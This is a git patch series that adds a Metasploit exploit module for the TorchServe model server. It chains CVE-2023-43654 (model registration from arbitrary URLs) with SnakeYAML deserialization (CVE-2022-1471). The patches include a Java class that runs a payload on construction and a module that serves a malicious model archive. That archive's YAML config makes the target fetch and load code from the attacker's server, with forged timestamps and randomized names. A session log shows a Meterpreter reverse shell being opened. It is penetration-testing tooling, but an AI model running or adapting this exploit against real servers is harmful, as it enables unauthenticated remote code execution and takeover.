From 5a6dc7f9a68fb7898b19f02667360c503e066f5c Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 5 Oct 2023 13:11:59 -0400 Subject: [PATCH 1/8] Initial commit of CVE-2023-43654 --- .../CVE-2022-1471/MyScriptEngineFactory.class | Bin 0 -> 1422 bytes .../CVE-2022-1471/MyScriptEngineFactory.java | 72 ++++++++++++ .../source/exploits/CVE-2022-1471/README.md | 17 +++ .../multi/http/torchserver_cve_2023_43654.rb | 110 ++++++++++++++++++ 4 files changed, 199 insertions(+) create mode 100644 data/exploits/CVE-2022-1471/MyScriptEngineFactory.class create mode 100644 external/source/exploits/CVE-2022-1471/MyScriptEngineFactory.java create mode 100644 external/source/exploits/CVE-2022-1471/README.md create mode 100644 modules/exploits/multi/http/torchserver_cve_2023_43654.rb diff --git a/data/exploits/CVE-2022-1471/MyScriptEngineFactory.class b/data/exploits/CVE-2022-1471/MyScriptEngineFactory.class new file mode 100644 index 0000000000000000000000000000000000000000..ae365960f8ce9047b08090994a32dce0da6ff6f8 GIT binary patch literal 1422 zcma)5K~EDw7=2SJg;FS%f`Wn|3N4CFyl{|^7(y?$LQ>L;r)fJ`hirG7?W}2!{v$nU zJop3rQN}lADVuCfdzsm9=Dqj5`Mz)e{QdPCzzL4CNMk>X7kHV$K?a8zlmzBawWrOQ zz+9=^6iA=@9VL*jX-|C&yDb%5%a+TN?8Tt1dPe(RKZCNsvZKs}=UABR^1fIq*KXt& zS#hQ3R2nAGp7Ty%bqs5&pig$h92n)gvwr*70x?Ll$ zuFPk@b1q%CG4zZa2z;18PYQlY9>sHvD`^d1hNc&qhLJ{fm1m|q9J90bWr6STZ32g- zS(DnjHQIshMZFf-j+!y3^hf8F_%%zBZTMl(R#k0>W~)AoUsq+@_`&dvos%5qk;&jF zhgWzlus#vV`MIB|+iDB!+M|i-BYpPco;4m@4jS7k`#sm!rg9~Rt}iN^7tF4q;3ctK*8&?T-Ii7fFxHcBbOq6Y&hYF`VsQ(qEN` Jy-^3A{{u#C9QgnM literal 0 HcmV?d00001 diff --git a/external/source/exploits/CVE-2022-1471/MyScriptEngineFactory.java b/external/source/exploits/CVE-2022-1471/MyScriptEngineFactory.java new file mode 100644 index 000000000000..da5e382547af --- /dev/null +++ b/external/source/exploits/CVE-2022-1471/MyScriptEngineFactory.java @@ -0,0 +1,72 @@ +// javac -cp path/to/metasploit-payloads/data/java MyScriptEngineFactory.java +import javax.script.ScriptEngine; +import javax.script.ScriptEngineFactory; +import java.io.IOException; +import java.util.List; +import metasploit.*; + +public class MyScriptEngineFactory implements ScriptEngineFactory { + public MyScriptEngineFactory() throws Exception { + Payload.main(null); + } + + @Override + public String getEngineName() { + return null; + } + + @Override + public String getEngineVersion() { + return null; + } + + @Override + public List getExtensions() { + return null; + } + + @Override + public List getMimeTypes() { + return null; + } + + @Override + public List getNames() { + return null; + } + + @Override + public String getLanguageName() { + return null; + } + + @Override + public String getLanguageVersion() { + return null; + } + + @Override + public Object getParameter(String key) { + return null; + } + + @Override + public String getMethodCallSyntax(String obj, String m, String... args) { + return null; + } + + @Override + public String getOutputStatement(String toDisplay) { + return null; + } + + @Override + public String getProgram(String... statements) { + return null; + } + + @Override + public ScriptEngine getScriptEngine() { + return null; + } +} diff --git a/external/source/exploits/CVE-2022-1471/README.md b/external/source/exploits/CVE-2022-1471/README.md new file mode 100644 index 000000000000..a46db950d221 --- /dev/null +++ b/external/source/exploits/CVE-2022-1471/README.md @@ -0,0 +1,17 @@ +# Overview +The Java file contained within will load and execute a Metasploit payload. It's intended to be loaded while exploit +CVE-2022-1471 which is a YAML deserialization vulnerability within the snakeyaml project. + +## Compiling +Compile the Java source file using `javac -cp path/to/metasploit-payloads/data/java MyScriptEngineFactory.java`. + +## Usage +Trigger the deserialization using the following YAML: +```yaml +!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://1.1.1.1:8080/"]]]] +``` + +Host the compiled class on an HTTP server along with the file `/META-INF/services/javax.script.ScriptEngineFactory`. The +contents of this file should simply be the class name to load (`MyScriptEngineFactory`). See Metasploit's +`Msf::Exploit::Remote::Java::HTTP::ClassLoader` mixin for more information and the remaining components necessary to +deliver a Metasploit payload. diff --git a/modules/exploits/multi/http/torchserver_cve_2023_43654.rb b/modules/exploits/multi/http/torchserver_cve_2023_43654.rb new file mode 100644 index 000000000000..75aa109cc7e0 --- /dev/null +++ b/modules/exploits/multi/http/torchserver_cve_2023_43654.rb @@ -0,0 +1,110 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/zip' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Java + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::Java::HTTP::ClassLoader + # prepend Msf::Exploit::Remote::AutoCheck + + def initialize(_info = {}) + super( + 'Name' => '', + 'Description' => %q{ + + }, + 'Author' => [ + 'Spencer McIntyre' + ], + 'References' => [ + [ 'CVE', '' ], + ], + 'DisclosureDate' => '', + 'License' => MSF_LICENSE, + 'DefaultOptions' => { + 'RPORT' => 8081 + }, + 'Targets' => [ + [ + 'Automatic', { + 'Platform' => 'java', + 'Arch' => [ARCH_JAVA] + } + ], + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + end + + def class_name + 'MyScriptEngineFactory' + end + + def constructor_class + ::File.binread(::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-1471', "#{class_name}.class")) + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + vprint_good("Payload requested by #{cli.peerhost} using #{agent}") + + if request.relative_resource.end_with?('.mar') + send_response(cli, generate_mar, { 'Content-Type' => 'application/octet-stream' }) + return + end + + if request.relative_resource.end_with?('services/javax.script.ScriptEngineFactory') + send_response(cli, class_name, { + 'Content-Type' => 'application/octet-string', + 'Connection' => 'close', + 'Pragma' => 'no-cache' + }) + return + end + + super(cli, request) + end + + def generate_mar + mri = Rex::Zip::Archive.new + mri.add_file('model.pt', '') + mri.add_file('MAR-INF/MANIFEST.json', JSON.generate({ + 'createdOn' => '04/10/2023 16:23:53', + 'runtime' => 'python', + 'model' => { + 'modelName' => @mar_filename.delete_suffix('.mar'), + 'serializedFile' => 'model.pt', + 'handler' => 'image_classifier', + 'modelVersion' => '1.0', + 'configFile' => 'config.yml' + }, + 'archiverVersion' => '0.8.2' + })) + mri.add_file('config.yml', %( !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["#{get_uri}/"]]]] )) + mri.pack + end + + def exploit + @classloader_uri = start_service + + @mar_filename = rand_text_alphanumeric(rand(8..15)) + '.mar' + send_request_cgi({ + 'method' => 'POST', + 'uri' => '/models', + 'vars_get' => { # *must* be vars_get and not vars_post! + 'url' => "#{get_uri}#{@mar_filename}" + } + }) + handler + end +end From 7a226ba28579ccf7ac250abba8427b5d4c3b61ee Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 5 Oct 2023 15:05:16 -0400 Subject: [PATCH 2/8] Randomize components in the MAR file --- .../multi/http/torchserver_cve_2023_43654.rb | 41 +++++++++++-------- 1 file changed, 25 insertions(+), 16 deletions(-) diff --git a/modules/exploits/multi/http/torchserver_cve_2023_43654.rb b/modules/exploits/multi/http/torchserver_cve_2023_43654.rb index 75aa109cc7e0..27e72b3756d3 100644 --- a/modules/exploits/multi/http/torchserver_cve_2023_43654.rb +++ b/modules/exploits/multi/http/torchserver_cve_2023_43654.rb @@ -64,11 +64,7 @@ def on_request_uri(cli, request) end if request.relative_resource.end_with?('services/javax.script.ScriptEngineFactory') - send_response(cli, class_name, { - 'Content-Type' => 'application/octet-string', - 'Connection' => 'close', - 'Pragma' => 'no-cache' - }) + send_response(cli, class_name, { 'Content-Type' => 'application/octet-string' }) return end @@ -76,35 +72,48 @@ def on_request_uri(cli, request) end def generate_mar + config_file = rand_text_alphanumeric(rand(8..15)) + '.yml' + serialized_file = rand_text_alphanumeric(rand(8..15)) + '.pt' + mri = Rex::Zip::Archive.new - mri.add_file('model.pt', '') + mri.add_file(serialized_file, '') # an empty data file is sufficient for exploitation mri.add_file('MAR-INF/MANIFEST.json', JSON.generate({ - 'createdOn' => '04/10/2023 16:23:53', + 'createdOn' => (Time.now - (600 + Random.rand(600))).strftime('%d/%m/%Y %H:%M:%S'), # forge a timestamp of 10-20 minutes ago 'runtime' => 'python', 'model' => { - 'modelName' => @mar_filename.delete_suffix('.mar'), - 'serializedFile' => 'model.pt', - 'handler' => 'image_classifier', + 'modelName' => @model_name, + 'serializedFile' => serialized_file, + 'handler' => %w[ image_classifier object_detector text_classifier image_segmenter ].sample, 'modelVersion' => '1.0', - 'configFile' => 'config.yml' + 'configFile' => config_file }, 'archiverVersion' => '0.8.2' })) - mri.add_file('config.yml', %( !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["#{get_uri}/"]]]] )) + mri.add_file(config_file, %( !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["#{get_uri}/"]]]] )) mri.pack end def exploit - @classloader_uri = start_service + start_service - @mar_filename = rand_text_alphanumeric(rand(8..15)) + '.mar' + @model_name = rand_text_alphanumeric(rand(8..15)) send_request_cgi({ 'method' => 'POST', - 'uri' => '/models', + 'uri' => normalize_uri(target_uri.path, 'models'), 'vars_get' => { # *must* be vars_get and not vars_post! - 'url' => "#{get_uri}#{@mar_filename}" + 'url' => "#{get_uri}#{@model_name}.mar" } }) + handler end + + def cleanup + super + + send_request_cgi({ + 'method' => 'DELETE', + 'uri' => normalize_uri(target_uri.path, 'models', @model_name, '1.0') + }) + end end From f712c67441f6976938d1cd02b38d5fb8364391d5 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 5 Oct 2023 15:14:51 -0400 Subject: [PATCH 3/8] Support URIPATH in Java::HTTP::ClassLoader The URIPATH must end with / due to how the package names are requested from the web server in a nested directory structure. #on_request_uri also needed to be updated to check for the relative resource. --- .../exploit/remote/java/http/class_loader.rb | 31 +++++++++++-------- 1 file changed, 18 insertions(+), 13 deletions(-) diff --git a/lib/msf/core/exploit/remote/java/http/class_loader.rb b/lib/msf/core/exploit/remote/java/http/class_loader.rb index f6767eeac585..477978d7596a 100644 --- a/lib/msf/core/exploit/remote/java/http/class_loader.rb +++ b/lib/msf/core/exploit/remote/java/http/class_loader.rb @@ -13,8 +13,6 @@ def initialize(info = {}) super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive )) - - deregister_options('URIPATH') end def start_service(opts = {}) @@ -22,12 +20,17 @@ def start_service(opts = {}) ssl = datastore['SSL'] datastore['SSL'] = false - super(opts.merge('Path' => '/')) + super - classloader_uri = get_uri datastore['SSL'] = ssl + get_uri + end - classloader_uri + def resource_uri + # the resource URI must end in / for the class loading to work + path = super + path += '/' unless path.end_with?('/') + path end def on_request_uri(cli, request) @@ -38,14 +41,16 @@ def on_request_uri(cli, request) return end + resource = request.raw_uri.delete_prefix(resource_uri) + if request.method == 'HEAD' whitelist = %W[ - /#{class_name}.class - /metasploit/Payload.class - /metasploit.dat + #{class_name}.class + metasploit/Payload.class + metasploit.dat ] - unless whitelist.include?(request.uri) + unless whitelist.include?(resource) vprint_error('Sending 404') return send_not_found(cli) end @@ -54,19 +59,19 @@ def on_request_uri(cli, request) return send_response(cli, '') end - case request.uri + case resource # Stage 1 - when "/#{class_name}.class" + when "#{class_name}.class" vprint_good('Sending constructor class') # This contains the constructor that will call our JavaPayload res = constructor_class # Stage 2 - when '/metasploit/Payload.class' + when 'metasploit/Payload.class' vprint_good('Sending payload class') # This is our JavaPayload as a compiled class res = MetasploitPayloads.read('java/metasploit/Payload.class') # Stage 3 - when '/metasploit.dat' + when 'metasploit.dat' vprint_good('Sending payload config') # This tells the target how to address the payload; this is the magic! res = payload_instance.stager_config From 0799f9d860980a99cf55a8f14d74b60c5a534b92 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 5 Oct 2023 15:41:19 -0400 Subject: [PATCH 4/8] Add a check method and populate module metadata --- .../multi/http/torchserver_cve_2023_43654.rb | 58 +++++++++++++++---- 1 file changed, 46 insertions(+), 12 deletions(-) diff --git a/modules/exploits/multi/http/torchserver_cve_2023_43654.rb b/modules/exploits/multi/http/torchserver_cve_2023_43654.rb index 27e72b3756d3..718a3c645cd2 100644 --- a/modules/exploits/multi/http/torchserver_cve_2023_43654.rb +++ b/modules/exploits/multi/http/torchserver_cve_2023_43654.rb @@ -8,24 +8,39 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Java include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Java::HTTP::ClassLoader - # prepend Msf::Exploit::Remote::AutoCheck def initialize(_info = {}) super( - 'Name' => '', + 'Name' => 'PyTorch Model Server Registration and Deserialization RCE', 'Description' => %q{ - + The PyTorch model server contains multiple vulnerabilities that can be chained together to permit an + unauthenticated remote attacker arbitrary Java code execution. The first vulnerability is that the management + interface is bound to all IP addresses and not just the loop back interface as the documentation suggests. The + second vulnerability (CVE-2023-43654) allows attackers with access to the management interface to register MAR + model files from arbitrary servers. The third vulnerability is that when an MAR file is loaded, it can contain a + YAML configuration file that when deserialized by snakeyaml, can lead to loading an arbitrary Java class. }, 'Author' => [ - 'Spencer McIntyre' + 'Idan Levcovich', # vulnerability discovery and research + 'Guy Kaplan', # vulnerability discovery and research + 'Gal Elbaz', # vulnerability discovery and research + 'Swapneil Kumar Dash', # snakeyaml deserialization research + 'Spencer McIntyre' # metasploit module ], 'References' => [ - [ 'CVE', '' ], + [ 'URL', 'https://www.oligo.security/blog/shelltorch-torchserve-ssrf-vulnerability-cve-2023-43654' ], + [ 'CVE', '2023-43654' ], # model registration SSRF + [ 'URL', 'https://github.com/pytorch/serve/security/advisories/GHSA-8fxr-qfr9-p34w' ], + [ 'CVE', '2022-1471' ], # snakeyaml deserialization RCE + [ 'URL', 'https://github.com/google/security-research/security/advisories/GHSA-mjmj-j48q-9wg2' ], + [ 'URL', 'https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in' ], + [ 'URL', 'https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858' ] ], - 'DisclosureDate' => '', + 'DisclosureDate' => '2023-10-03', 'License' => MSF_LICENSE, 'DefaultOptions' => { 'RPORT' => 8081 @@ -46,6 +61,23 @@ def initialize(_info = {}) ) end + def check + res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'api-description')) + return Exploit::CheckCode::Unknown unless res + return Exploit::CheckCode::Safe unless res.code == 200 + unless res.get_json_document.dig('info', 'title') == 'TorchServe APIs' + return Exploit::CheckCode::Safe('The TorchServe API was not detected on the target.') + end + + version = res.get_json_document.dig('info', 'version') + return Exploit::CheckCode::Safe unless version.present? + unless Rex::Version.new(version) < Rex::Version.new('8.0.2') + return Exploit::CheckCode::Safe("Version #{version} is patched.") + end + + Exploit::CheckCode::Appears("Version #{version} is vulnerable.") + end + def class_name 'MyScriptEngineFactory' end @@ -72,18 +104,18 @@ def on_request_uri(cli, request) end def generate_mar - config_file = rand_text_alphanumeric(rand(8..15)) + '.yml' - serialized_file = rand_text_alphanumeric(rand(8..15)) + '.pt' + config_file = rand_text_alphanumeric(8..15) + '.yml' + serialized_file = rand_text_alphanumeric(8..15) + '.pt' mri = Rex::Zip::Archive.new - mri.add_file(serialized_file, '') # an empty data file is sufficient for exploitation + mri.add_file(serialized_file, '') # an empty data file is sufficient for exploitation mri.add_file('MAR-INF/MANIFEST.json', JSON.generate({ - 'createdOn' => (Time.now - (600 + Random.rand(600))).strftime('%d/%m/%Y %H:%M:%S'), # forge a timestamp of 10-20 minutes ago + 'createdOn' => (Time.now - Random.rand(600..1199)).strftime('%d/%m/%Y %H:%M:%S'), # forge a timestamp of 10-20 minutes ago 'runtime' => 'python', 'model' => { 'modelName' => @model_name, 'serializedFile' => serialized_file, - 'handler' => %w[ image_classifier object_detector text_classifier image_segmenter ].sample, + 'handler' => %w[image_classifier object_detector text_classifier image_segmenter].sample, 'modelVersion' => '1.0', 'configFile' => config_file }, @@ -96,7 +128,8 @@ def generate_mar def exploit start_service - @model_name = rand_text_alphanumeric(rand(8..15)) + @model_name = rand_text_alphanumeric(8..15) + # see: https://pytorch.org/serve/management_api.html#register-a-model send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'models'), @@ -111,6 +144,7 @@ def exploit def cleanup super + # see: https://pytorch.org/serve/management_api.html#unregister-a-model send_request_cgi({ 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, 'models', @model_name, '1.0') From 4f734379d3ff85797f0612d0e8d5e9da15b21645 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 5 Oct 2023 16:16:00 -0400 Subject: [PATCH 5/8] Add module docs and print some messages --- .../multi/http/torchserver_cve_2023_43654.md | 57 +++++++++++++++++++ .../multi/http/torchserver_cve_2023_43654.rb | 8 +-- 2 files changed, 61 insertions(+), 4 deletions(-) create mode 100644 documentation/modules/exploit/multi/http/torchserver_cve_2023_43654.md diff --git a/documentation/modules/exploit/multi/http/torchserver_cve_2023_43654.md b/documentation/modules/exploit/multi/http/torchserver_cve_2023_43654.md new file mode 100644 index 000000000000..76322ad34962 --- /dev/null +++ b/documentation/modules/exploit/multi/http/torchserver_cve_2023_43654.md @@ -0,0 +1,57 @@ +## Vulnerable Application + +The PyTorch model server contains multiple vulnerabilities that can be chained together to permit an +unauthenticated remote attacker arbitrary Java code execution. The first vulnerability is that the management +interface is bound to all IP addresses and not just the loop back interface as the documentation suggests. The +second vulnerability (CVE-2023-43654) allows attackers with access to the management interface to register MAR +model files from arbitrary servers. The third vulnerability is that when an MAR file is loaded, it can contain a +YAML configuration file that when deserialized by snakeyaml, can lead to loading an arbitrary Java class. + +PyTorch TorchServer versions prior to 0.8.2 are affected. This module was tested against version 0.8.1. + +## Verification Steps + +1. Install the application + * `docker run --rm -it -p 8080:8080 -p 8081:8081 pytorch/torchserve:0.8.1-cpu` +2. Start msfconsole +3. Do: `use exploit/multi/http/torchserver_cve_2023_43654` +4. Set the `RHOST`, `PAYLOAD` and payload-related options +5. Do: `run` +6. You should get a shell. + +## Options + +## Scenarios + +### PyTorch TorchServer 0.8.1 + +``` +msf6 exploit(multi/http/torchserver_cve_2023_43654) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf6 exploit(multi/http/torchserver_cve_2023_43654) > set PAYLOAD java/meterpreter/reverse_tcp +PAYLOAD => java/meterpreter/reverse_tcp +msf6 exploit(multi/http/torchserver_cve_2023_43654) > set LHOST 192.168.159.128 +LHOST => 192.168.159.128 +msf6 exploit(multi/http/torchserver_cve_2023_43654) > run +[*] Started reverse TCP handler on 192.168.159.128:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 0.8.1 is vulnerable. +[*] Using URL: http://192.168.159.128:9090/exploit/ +[*] Registering the model archive... +[+] Sending model archive +[*] Sending stage (59909 bytes) to 172.17.0.2 +[*] Meterpreter session 3 opened (192.168.159.128:4444 -> 172.17.0.2:39480) at 2023-10-05 16:13:54 -0400 +[*] Server stopped. + +meterpreter > getuid +Server username: model-server +meterpreter > sysinfo +Computer : 4dbcfe5cc11c +OS : Linux 6.2.15-100.fc36.x86_64 (amd64) +Architecture : x64 +System Language : en_US +Meterpreter : java/linux +meterpreter > pwd +/home/model-server +meterpreter > +``` diff --git a/modules/exploits/multi/http/torchserver_cve_2023_43654.rb b/modules/exploits/multi/http/torchserver_cve_2023_43654.rb index 718a3c645cd2..baf23a7efa1a 100644 --- a/modules/exploits/multi/http/torchserver_cve_2023_43654.rb +++ b/modules/exploits/multi/http/torchserver_cve_2023_43654.rb @@ -87,15 +87,14 @@ def constructor_class end def on_request_uri(cli, request) - agent = request.headers['User-Agent'] - vprint_good("Payload requested by #{cli.peerhost} using #{agent}") - - if request.relative_resource.end_with?('.mar') + if request.relative_resource.end_with?("#{@model_name}.mar") + print_good('Sending model archive') send_response(cli, generate_mar, { 'Content-Type' => 'application/octet-stream' }) return end if request.relative_resource.end_with?('services/javax.script.ScriptEngineFactory') + vprint_good('Sending ScriptEngineFactory class name') send_response(cli, class_name, { 'Content-Type' => 'application/octet-string' }) return end @@ -129,6 +128,7 @@ def exploit start_service @model_name = rand_text_alphanumeric(8..15) + print_status('Registering the model archive...') # see: https://pytorch.org/serve/management_api.html#register-a-model send_request_cgi({ 'method' => 'POST', From 5577413bd9597b1720fc87a121d71164202aec96 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 6 Oct 2023 12:30:37 -0400 Subject: [PATCH 6/8] Add additional classes for payload loading This fixes the java/shell_reverse_tcp payload --- lib/msf/core/exploit/remote/java/http/class_loader.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/msf/core/exploit/remote/java/http/class_loader.rb b/lib/msf/core/exploit/remote/java/http/class_loader.rb index 477978d7596a..b5c92a793ef4 100644 --- a/lib/msf/core/exploit/remote/java/http/class_loader.rb +++ b/lib/msf/core/exploit/remote/java/http/class_loader.rb @@ -75,6 +75,9 @@ def on_request_uri(cli, request) vprint_good('Sending payload config') # This tells the target how to address the payload; this is the magic! res = payload_instance.stager_config + # (Optional) Stage 4 data for unstaged payloads such as java/shell_reverse_tcp + when /^javapayload\/stage\/(Shell|Stage|StreamForwarder)\.class$/ + res = MetasploitPayloads.read("java/#{resource}") else vprint_error('Sending 404') return send_not_found(cli) From de8e392b7bbfc7cbb625d204a892741c5fbba4ec Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 12 Oct 2023 09:12:26 -0400 Subject: [PATCH 7/8] Only randomize the URI once --- lib/msf/core/exploit/remote/java/http/class_loader.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/java/http/class_loader.rb b/lib/msf/core/exploit/remote/java/http/class_loader.rb index b5c92a793ef4..0af49e19d130 100644 --- a/lib/msf/core/exploit/remote/java/http/class_loader.rb +++ b/lib/msf/core/exploit/remote/java/http/class_loader.rb @@ -27,10 +27,11 @@ def start_service(opts = {}) end def resource_uri + return @resource_uri if @resource_uri # the resource URI must end in / for the class loading to work path = super path += '/' unless path.end_with?('/') - path + @resource_uri = path end def on_request_uri(cli, request) From 86b7ec451843364de8440581d1da62c5dd9faa4a Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 11 Oct 2023 16:56:20 -0400 Subject: [PATCH 8/8] Address comments from the review --- .../multi/http/torchserver_cve_2023_43654.md | 9 +++++---- .../CVE-2022-1471/MyScriptEngineFactory.java | 2 +- external/source/exploits/CVE-2022-1471/README.md | 16 ++++++++++++---- .../exploit/remote/java/http/class_loader.rb | 9 +++++---- .../multi/http/torchserver_cve_2023_43654.rb | 5 ++++- 5 files changed, 27 insertions(+), 14 deletions(-) diff --git a/documentation/modules/exploit/multi/http/torchserver_cve_2023_43654.md b/documentation/modules/exploit/multi/http/torchserver_cve_2023_43654.md index 76322ad34962..c08d772e568b 100644 --- a/documentation/modules/exploit/multi/http/torchserver_cve_2023_43654.md +++ b/documentation/modules/exploit/multi/http/torchserver_cve_2023_43654.md @@ -33,20 +33,21 @@ PAYLOAD => java/meterpreter/reverse_tcp msf6 exploit(multi/http/torchserver_cve_2023_43654) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 msf6 exploit(multi/http/torchserver_cve_2023_43654) > run + [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version 0.8.1 is vulnerable. -[*] Using URL: http://192.168.159.128:9090/exploit/ +[*] Using URL: http://192.168.159.128:9090/VLz5xafKtJOjBAv/ [*] Registering the model archive... [+] Sending model archive -[*] Sending stage (59909 bytes) to 172.17.0.2 -[*] Meterpreter session 3 opened (192.168.159.128:4444 -> 172.17.0.2:39480) at 2023-10-05 16:13:54 -0400 +[*] Sending stage (57692 bytes) to 172.17.0.2 +[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 172.17.0.2:49662) at 2023-10-12 09:19:30 -0400 [*] Server stopped. meterpreter > getuid Server username: model-server meterpreter > sysinfo -Computer : 4dbcfe5cc11c +Computer : 187de8da4e1b OS : Linux 6.2.15-100.fc36.x86_64 (amd64) Architecture : x64 System Language : en_US diff --git a/external/source/exploits/CVE-2022-1471/MyScriptEngineFactory.java b/external/source/exploits/CVE-2022-1471/MyScriptEngineFactory.java index da5e382547af..c02184045e5c 100644 --- a/external/source/exploits/CVE-2022-1471/MyScriptEngineFactory.java +++ b/external/source/exploits/CVE-2022-1471/MyScriptEngineFactory.java @@ -1,4 +1,4 @@ -// javac -cp path/to/metasploit-payloads/data/java MyScriptEngineFactory.java +// javac -cp path/to/metasploit-framework/data/java MyScriptEngineFactory.java import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.io.IOException; diff --git a/external/source/exploits/CVE-2022-1471/README.md b/external/source/exploits/CVE-2022-1471/README.md index a46db950d221..1a1450053ec8 100644 --- a/external/source/exploits/CVE-2022-1471/README.md +++ b/external/source/exploits/CVE-2022-1471/README.md @@ -1,17 +1,25 @@ # Overview -The Java file contained within will load and execute a Metasploit payload. It's intended to be loaded while exploit -CVE-2022-1471 which is a YAML deserialization vulnerability within the snakeyaml project. +The Java file contained within will load and execute a Metasploit payload. It's intended to be loaded as part of the +exploit for CVE-2022-1471 which is a YAML deserialization vulnerability within the snakeyaml project. + +See https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in for more information. ## Compiling -Compile the Java source file using `javac -cp path/to/metasploit-payloads/data/java MyScriptEngineFactory.java`. +It's necessary to specify the Metasploit Payloads data directory as the class path when compiling the code. See the +[metasploit-payloads][1] repository for instructions on how to compile the main Java payloads and install the data +files. + +Compile the Java source file using `javac -cp path/to/metasploit-framework/data/java MyScriptEngineFactory.java`. ## Usage Trigger the deserialization using the following YAML: ```yaml -!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://1.1.1.1:8080/"]]]] +!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.0.2.1:8080/"]]]] ``` Host the compiled class on an HTTP server along with the file `/META-INF/services/javax.script.ScriptEngineFactory`. The contents of this file should simply be the class name to load (`MyScriptEngineFactory`). See Metasploit's `Msf::Exploit::Remote::Java::HTTP::ClassLoader` mixin for more information and the remaining components necessary to deliver a Metasploit payload. + +[1]: https://github.com/rapid7/metasploit-payloads/tree/master/java diff --git a/lib/msf/core/exploit/remote/java/http/class_loader.rb b/lib/msf/core/exploit/remote/java/http/class_loader.rb index 0af49e19d130..a953a09b6877 100644 --- a/lib/msf/core/exploit/remote/java/http/class_loader.rb +++ b/lib/msf/core/exploit/remote/java/http/class_loader.rb @@ -63,21 +63,22 @@ def on_request_uri(cli, request) case resource # Stage 1 when "#{class_name}.class" - vprint_good('Sending constructor class') + vprint_good('Sending the constructor class') # This contains the constructor that will call our JavaPayload res = constructor_class # Stage 2 when 'metasploit/Payload.class' - vprint_good('Sending payload class') + vprint_good('Sending the main payload class') # This is our JavaPayload as a compiled class res = MetasploitPayloads.read('java/metasploit/Payload.class') # Stage 3 when 'metasploit.dat' - vprint_good('Sending payload config') + vprint_good('Sending the payload configuration data') # This tells the target how to address the payload; this is the magic! res = payload_instance.stager_config # (Optional) Stage 4 data for unstaged payloads such as java/shell_reverse_tcp - when /^javapayload\/stage\/(Shell|Stage|StreamForwarder)\.class$/ + when /^javapayload\/stage\/(?:Shell|Stage|StreamForwarder)\.class$/ + vprint_good("Sending additional payload class: #{resource}") res = MetasploitPayloads.read("java/#{resource}") else vprint_error('Sending 404') diff --git a/modules/exploits/multi/http/torchserver_cve_2023_43654.rb b/modules/exploits/multi/http/torchserver_cve_2023_43654.rb index baf23a7efa1a..794d11c00625 100644 --- a/modules/exploits/multi/http/torchserver_cve_2023_43654.rb +++ b/modules/exploits/multi/http/torchserver_cve_2023_43654.rb @@ -70,7 +70,8 @@ def check end version = res.get_json_document.dig('info', 'version') - return Exploit::CheckCode::Safe unless version.present? + return Exploit::CheckCode::Detected unless version.present? + unless Rex::Version.new(version) < Rex::Version.new('8.0.2') return Exploit::CheckCode::Safe("Version #{version} is patched.") end @@ -144,6 +145,8 @@ def exploit def cleanup super + return unless @model_name + # see: https://pytorch.org/serve/management_api.html#unregister-a-model send_request_cgi({ 'method' => 'DELETE',